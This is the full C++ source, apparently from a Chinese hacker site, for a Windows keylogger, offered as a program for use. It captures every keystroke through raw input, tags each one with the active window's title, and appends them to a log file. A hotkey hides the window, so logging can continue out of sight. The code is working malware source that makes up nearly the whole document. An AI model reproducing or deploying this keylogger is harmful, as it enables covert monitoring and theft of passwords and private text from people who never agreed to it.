键盘记录程序（VC源代码）

#include "rawinput.h" #include "vkey.h" #include "resource.h" LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); HANDLE InitLogFile(void); HANDLE hFile; char *szHelpInfo = "键盘记录于kebodlog.txt中 -- 按HOME键显示本窗口,END键隐藏本窗口"; char *szThyInfo = "如需程序代码,欢迎访问黑色海岸线 www.thysea.com"; char *szEmail = "Eamil: redcoder@163.com"; INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow) { HWND hWnd; MSG msg; WNDCLASS wndClass; wndClass.style = CS_HREDRAW | CS_VREDRAW; wndClass.lpfnWndProc = WndProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInstance; wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = TEXT("KBDLoger"); RegisterClass(&wndClass); hWnd = CreateWindow( TEXT("KBDLoger"), // window class name TEXT("KBDLoger"), // window caption WS_OVERLAPPEDWINDOW, // window style 200, // initial x position 200, // initial y position 480, // initial x size 110, // initial y size NULL, // parent window handle NULL, // window menu handle hInstance, // program instance handle NULL); // creation parameters SendMessage(hWnd,WM_SETICON,ICON_BIG,(LPARAM)LoadIcon((HINSTANCE)GetWindowLong(hWnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_ICON1))); SendMessage(hWnd,WM_SETICON,ICON_SMALL,(LPARAM)LoadIcon((HINSTANCE)GetWindowLong(hWnd,GWL_HINSTANCE),MAKEINTRESOURCE(IDI_ICON1))); hFile = InitLogFile(); if(!RegisitKeyBord(hWnd)) { MessageBox(hWnd, "注册键盘原始输入设备失败", "Raw Input Test", 0); return 0; } ShowWindow(hWnd, SW_NORMAL); UpdateWindow(hWnd); while(GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; } // WinMain LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { HDC hdc; PAINTSTRUCT ps; char vk[256] = {'\0'}; HWND hwndCW = NULL; char wtitle[128] = {'\0'}; UINT dwSize; PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData"); LPBYTE lpb = NULL; RAWINPUT* raw = NULL; DWORD dwWritten = 0; switch(message) { case WM_INPUT: if(NULL == GetRawInputData) { DefWindowProc(hWnd, message, wParam, lParam); return 0; } GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)); lpb = new BYTE[dwSize]; if(lpb == NULL) { DefWindowProc(hWnd, message, wParam, lParam); return 0; } if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0); raw = (RAWINPUT*)lpb; if (raw->header.dwType == RIM_TYPEKEYBOARD) { // 获取当前键盘焦点窗口名称 hwndCW = GetForegroundWindow(); GetWindowText(hwndCW, wtitle, 128); wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey)); if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey)) { SetFilePointer(hFile, 0, NULL, FILE_END); WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL); } if( VK_HOME == raw->data.keyboard.VKey) ShowWindow(hWnd, SW_NORMAL); if( VK_END == raw->data.keyboard.VKey) ShowWindow(hWnd, SW_HIDE); } delete[] lpb; DefWindowProc(hWnd, message, wParam, lParam); return 0; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo)); TextOut(hdc, 10, 30, szThyInfo, strlen(szThyInfo)); TextOut(hdc, 10, 50, szEmail, strlen(szEmail)); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); CloseHandle(hFile); return 0; default: return DefWindowProc(hWnd, message, wParam, lParam); } } // WndProc HANDLE InitLogFile(void) { HANDLE hFile = CreateFile("kebodlog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); return hFile; }